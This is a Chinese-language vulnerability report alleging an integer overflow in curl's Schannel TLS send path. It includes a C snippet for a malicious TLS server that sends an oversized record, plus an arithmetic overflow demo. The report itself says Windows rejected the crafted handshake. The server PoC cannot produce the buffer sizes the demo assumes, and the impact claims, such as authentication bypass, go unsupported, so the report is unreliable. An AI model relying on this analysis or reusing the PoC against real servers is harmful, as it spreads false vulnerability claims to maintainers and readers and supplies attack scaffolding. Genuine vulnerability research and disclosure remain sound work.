Integer Overflow in schannel.c TLS Data Transmission
漏洞摘要
该漏洞允许在加密数据传输过程中添加TLS缓冲区大小时发生整数溢出,可能导致发送错误的数据大小和TLS安全问题。在Windows 10测试环境中,Windows的Schannel拒绝了构造的畸形TLS握手(SEC_E_INVALID_TOKEN)。
漏洞代码位置
./lib/vtls/schannel.c
:
1
2
|
/* send the encrypted message including header, data and trailer */
len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
|
漏洞原理
curl将三个缓冲区相加:outbuf0、outbuf1和outbuf2。curl在32位环境下编译时,如果这些大小足够大,加法运算可能溢出,导致len值变小。
潜在影响
- 数据传输大小不正确
- 违反TLS协议
- 内存安全问题
- 最坏情况下可能导致安全绕过(如果溢出导致curl发送的数据比预期少)
测试环境
- 32位Windows系统
- 使用恶意HTTP服务器进行测试
PoC服务器代码片段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#define PORT 4433
#pragma pack(push, 1)
typedef struct {
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint16_t length;
} tls_record_header;
#pragma pack(pop)
void send_malicious_record(SOCKET client_socket) {
printf("[*] Sending malicious TLS record...\n");
tls_record_header record;
record.type = 0x17;
record.version_major = 0x03;
record.version_minor = 0x03;
record.length = htons(0xFFFF);
send(client_socket, (char*)&record, sizeof(record), 0);
size_t payload_size = 0xFFFF;
unsigned char *payload = malloc(payload_size);
if (!payload) {
printf("Failed to allocate payload\n");
return;
}
memset(payload, 'A', payload_size);
send(client_socket, (char*)payload, (int)payload_size, 0);
free(payload);
}
|
数学验证PoC
1
2
3
4
5
6
7
8
9
10
11
12
|
SecBuffer outbuf[3];
outbuf[0].cbBuffer = 0x80000000;
outbuf[1].cbBuffer = 0x80000001;
outbuf[2].cbBuffer = 0x00000000;
size_t len = outbuf[0].cbBuffer + outbuf[1].cbBuffer + outbuf[2].cbBuffer;
printf("0x%08lX + 0x%08lX + 0x%08lX = 0x%llX\n",
(unsigned long)outbuf[0].cbBuffer,
(unsigned long)outbuf[1].cbBuffer,
(unsigned long)outbuf[2].cbBuffer,
(unsigned long long)len);
|
影响版本
- 8.15.0: release
- 8.16.0: dev
实际影响
攻击者可能实现认证绕过(如果凭据通过TLS传输),或者通过操纵TLS握手触发大缓冲区大小导致相同溢出,造成DoS攻击。实际利用需要控制或破坏TLS服务器,并操纵Windows的EncryptMessage()返回特定缓冲区大小。
修复建议
在加法运算前添加整数溢出检查。